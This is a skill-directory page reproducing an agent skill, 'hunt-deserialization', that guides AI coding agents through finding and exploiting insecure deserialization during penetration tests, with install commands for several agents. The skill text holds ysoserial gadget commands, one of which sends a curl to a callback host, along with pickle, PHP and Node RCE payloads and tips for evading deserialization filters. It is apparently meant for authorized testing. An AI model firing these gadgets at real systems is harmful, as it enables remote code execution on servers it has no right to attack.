Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-deserialization --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt/hunt-deserialization .claude/skills/hunt-deserialization && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "hunt-deserialization" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-deserialization into .claude/skills/hunt-deserialization/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-deserialization", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-deserializationType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-deserialization --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/hunt/hunt-deserialization .agents/skills/hunt-deserialization && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "hunt-deserialization" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-deserialization into .agents/skills/hunt-deserialization/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-deserialization", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-deserialization --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/hunt/hunt-deserialization .cursor/skills/hunt-deserialization && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "hunt-deserialization" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-deserialization into .cursor/skills/hunt-deserialization/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-deserialization", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/Encod3d-Sec/TORCH.git --path skills/hunt/hunt-deserialization--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-deserialization --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/hunt/hunt-deserialization .gemini/skills/hunt-deserialization && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "hunt-deserialization" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-deserialization into .gemini/skills/hunt-deserialization/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-deserialization", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install Encod3d-Sec/TORCH hunt-deserializationInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/hunt/hunt-deserialization .github/skills/hunt-deserialization && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "hunt-deserialization" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-deserialization into .github/skills/hunt-deserialization/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-deserialization", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-deserialization --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/hunt/hunt-deserialization .opencode/skills/hunt-deserialization && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "hunt-deserialization" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-deserialization into .opencode/skills/hunt-deserialization/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-deserialization", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
hunt-deserializationInsecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node.
Hunt Deserialization is an agent skill from Encod3d-Sec/TORCH. Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.
Its SKILL.md is about 1.7k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security. It works with Java, PHP, Python and Ruby. The repository describes itself as: Karpathy LLM based claude harness for PenetrationTesting / Bugbounty using obsidian. The licence is MIT.
2 steps, taken from the first numbered list in SKILL.md.
Read from SKILL.md and the folder at commit d21b6c9. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
javapython3From the folder's file list and the shell code blocks in SKILL.md.
No URLs in SKILL.md.
From URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Hunt Deserialization loads about 1.7k tokens when it runs. Until then it costs about 52 tokens; SKILL.md has 734 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from Encod3d-Sec/TORCH at commit d21b6c9, republished under its MIT licence (© Encod3d-Sec). 734 words, ~1,702 tokens.
.claude/skills/hunt-deserialization/SKILL.md (or your agent's skills folder).Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
qmd_query "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCPHub: [[web-moc]] (live web index). Primary page: [[insecure-deserialization]]. Payload arsenal: wiki/payloads/deserialization.md.
Anchors: [[ml-model-deserialization]].
Blind deserialization RCE claims require an OOB HIT. No exceptions. The first payload is always
a benign OOB probe, never a command: Java URLDNS / JRMPClient force a DNS/TCP callback with zero
code-exec risk, proving the sink deserializes attacker data before you fire a gadget.
NOT confirmation: a deserialization error, a type error, a stack trace, a 500, or the blob
merely being accepted. Any of these alone means the parser saw your bytes, not that you control
execution.
IS confirmation: an OOB callback from the gadget to your unique Collaborator / interactsh subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect. Blind cases need the OOB HIT.
When you plant the OOB probe (URLDNS/JRMPClient or any blind payload), append a row to
targets/<eng>/oob.md: | <token> | <sink url+param> | deser | <date> | waiting | | (columns:
token | sink | class | planted | status | source, token = your unique interactsh label). The
recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart
surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT claim a blind deserialization
finding without a HIT row.
Fingerprint serialized blobs by magic bytes / shape:
rO0AB... Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD///// .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass": PHP serialize()
gASV / \x80\x04 / \x80\x05 Python pickle (base64 gAS...)
BAh... / --- !ruby/object Ruby Marshal / YAMLSink locations: cookies (session, auth, state, viewstate), hidden form fields,
Authorization, API JSON with type hints, message queues, cache, file upload of .ser/.pickle.
Rank before firing a gadget. Not all sinks are equal:
__VIEWSTATE - if MAC is off or the machineKey leaked, straight to RCE; check first..ser/.pickle file uploads and phar:// sinks - the parser runs on your bytes by design.$type, _class, polymorphic deserializers) - Jackson / fastjson
default-typing, .NET TypeNameHandling.java -jar ysoserial.jar URLDNS "http://probe.<collab>" | base64 -w0 # OOB probe FIRST
java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0 # after sink confirmed
# .NET ViewState: known machineKey -> ysoserial.net -p ViewStateNo ysoserial jar on the box? (the tooling VM often lacks it; the jitpack build download returns an
empty/9-byte stub.) BUILD the gadget yourself against the target's gadget lib from Maven Central, then
compile with --release <target-JRE-major> and run with the right --add-opens. Full recipe +
modern-JDK (17/21) gotchas (class-version mismatch, InaccessibleObjectException, CC5's String-typed
BadAttributeValueExpException.val on JDK 21 -> use CC6) in [[deserialization]] "Build the gadget yourself".
3. .NET: ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd"; ViewState via ysoserial.net -p ViewState --generator=... --validationkey=....
4. PHP: craft POP chain from app's __wakeup/__destruct/__toString; phpggc Framework/RCE1 system id. Look for unserialize() on user input, phar:// (deser via filesystem funcs).
5. Python: pickle.loads on user data -> __reduce__ returning (os.system, ("cmd",)). yaml.load (unsafe) -> !!python/object/apply:os.system.
6. Ruby: Marshal.load / unsafe YAML.load -> universal gadget chains (Gem::...).
7. Node: node-serialize _$$ND_FUNC$$_ IIFE; funcster, serialize-javascript sinks.
8. Distill when confirmed (per hunt-core): reusable gadget chain or framework sink -> python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/insecure-deserialization.md.
A deserialization sink is usually the RCE itself, not a step toward one: a working gadget executes
your command in-process. When the classpath yields only a partial primitive - URLDNS / JRMPClient
SSRF, a file-read gadget, a JNDI lookup - drive the follow-on through hunt-rce (JNDI/LDAP to code
exec, log4shell-style) or the relevant sink skill rather than forcing a command gadget the
look-ahead filter blocks.
Look-ahead deserialization filters (ValidatingObjectInputStream, ObjectInputFilter, Jackson
allowlists) reject known gadget classes by name. When a confirmed sink rejects CC1-7: switch to a
gadget library actually on the classpath (Spring, Hibernate5, C3P0, ROME, MozillaRhino), try a
different serialization format the same endpoint accepts (XML / JSON / YAML vs binary), nest the
payload (SignedObject wrapping), or - .NET - swap the formatter (LosFormatter, SoapFormatter,
Json.NET TypeNameHandling). Fingerprint the exact library version before sweeping blind.
Rated on demonstrated impact per hunt-core, not the theoretical maximum of the class.
Stop after the bounded OOB gadget sweep (per hunt-core / CLAUDE.md: ~30-40 payloads, zero callbacks) or when the sink deserializes but no gadget on the classpath executes:
Append: - [ ] deser on <host> <param> -- Java sink confirmed (URLDNS hit) but CC1-7/Spring/
Hibernate no exec (hardened classpath / look-ahead filter)Record which gadget libraries and formats you tried, not just that it failed.
© Encod3d-Sec, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/hunt/hunt-deserialization of Encod3d-Sec/TORCH.
Open the folder on GitHubat commit d21b6c9
Hunt Deserialization next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Hunt Deserialization this skillEncod3d-Sec/TORCH | 329 | — | ~1.7k | Automated safety check: Pass | MIT | |
| Detecting Eval Exec Usagejeremylongshore/tons-of-skills-marketplace | 2.8k | — | ~1.1k | Automated safety check: Pass | MIT | |
| Detecting Insecure Deserializationjeremylongshore/tons-of-skills-marketplace | 2.8k | — | ~1.4k | Automated safety check: Pass | MIT | |
| Deserialization TestingNeoTheCapt/RedteamAgent | 142 | — | ~836 | Automated safety check: Pass | None | |
| Security Reviewgithub/awesome-copilot | 40k | 1 repos | ~2.3k | Automated safety check: Notes | MIT | |
| Phy Regex AuditLeoYeAI/openclaw-master-skills | 2.2k | — | ~5.1k | Automated safety check: Pass | Apache-2.0 |
jeremylongshore/tons-of-skills-marketplace
Scan a source tree for dynamic-code-execution APIs that an attacker can hijack: Python eval / exec / compile, JavaScript eval / Function() / setTimeout(string), Ruby eval / instanceeval / classeval…
jeremylongshore/tons-of-skills-marketplace
Scan a source tree for unsafe-by-default deserialization APIs: Python pickle.loads / cPickle / shelve / dill, Ruby Marshal.load / YAML.load (pre-3.1 default), Java ObjectInputStream.readObject, PHP…
NeoTheCapt/RedteamAgent
Insecure deserialization detection and gadget chain exploitation
github/awesome-copilot
AI-powered codebase security scanner that reasons about code like a security researcher — tracing data flows, understanding component interactions, and catching vulnerabilities that pattern-matching…
LeoYeAI/openclaw-master-skills
Static ReDoS (Regular Expression Denial of Service) vulnerability scanner and regex quality auditor for codebases.
PentesterFlow/agent
Fingerprints which language or framework produced a serialized blob, then helps build a working gadget chain to test for insecure deserialization.
Encod3d-Sec/TORCH
Runs a bug-bounty engagement through a script that tracks the current pass, builds a board of rows from recon and prints the next required action each turn.
Encod3d-Sec/TORCH
Checks that the bb, pt and ctf workflow driver is set up correctly on a machine: vault content, skill symlinks, hooks, imports and a live smoke test, with fixes for failures.
Encod3d-Sec/TORCH
Opens a visible Chromium window on a Kali VM so an operator can complete a manual login or CAPTCHA while the agent watches and acts through the chrome-devtools MCP.
Encod3d-Sec/TORCH
Runs a capture-the-flag box from first scan to root with a driver script that tracks progress and prints the next action each turn.
Encod3d-Sec/TORCH
Decides when a main pentesting agent should hand a fully-specified, mechanical exploit-compile or privilege-escalation step to a cheaper sub-agent, and how to specify that handoff safely.
Encod3d-Sec/TORCH
Adaptive web fuzzing for pentests, bug bounty and CTF work: picks the smallest suitable SecLists wordlist per target surface and calibrates filters against soft-404 responses.
Categories
Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Hunt Deserialization is an agent skill from Encod3d-Sec/TORCH.NET / PHP / Python / Ruby / Node.
Hunt Deserialization fits situations like: security work in your project.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a claude-code`. Or copy the skill folder (skills/hunt/hunt-deserialization in Encod3d-Sec/TORCH) into .claude/skills/hunt-deserialization in your project. Claude Code loads it when a task matches its description.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a codex`. Or copy the skill folder (skills/hunt/hunt-deserialization in Encod3d-Sec/TORCH) into .agents/skills/hunt-deserialization in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add Encod3d-Sec/TORCH --skill hunt-deserialization -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-deserialization, .gemini/skills/hunt-deserialization, .github/skills/hunt-deserialization and .opencode/skills/hunt-deserialization in your project.
Going by SKILL.md and its folder, Hunt Deserialization needs the command-line tools its instructions call (java and python3). Our summary lists: Python 3.
SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Hunt Deserialization is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 1.7k tokens (SKILL.md is roughly 6.8k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Hunt Deserialization: Detecting Eval Exec Usage (jeremylongshore/tons-of-skills-marketplace, 2.8k stars), Detecting Insecure Deserialization (jeremylongshore/tons-of-skills-marketplace, 2.8k stars), Deserialization Testing (NeoTheCapt/RedteamAgent, 142 stars) and Security Review (github/awesome-copilot, 40k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Encod3d-Sec (a GitHub user) maintains it in Encod3d-Sec/TORCH, which has 329 GitHub stars. The repository holds 35 skills in this directory. The repository was last updated on September 1, 2026.
Source: Encod3d-Sec/TORCH on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.
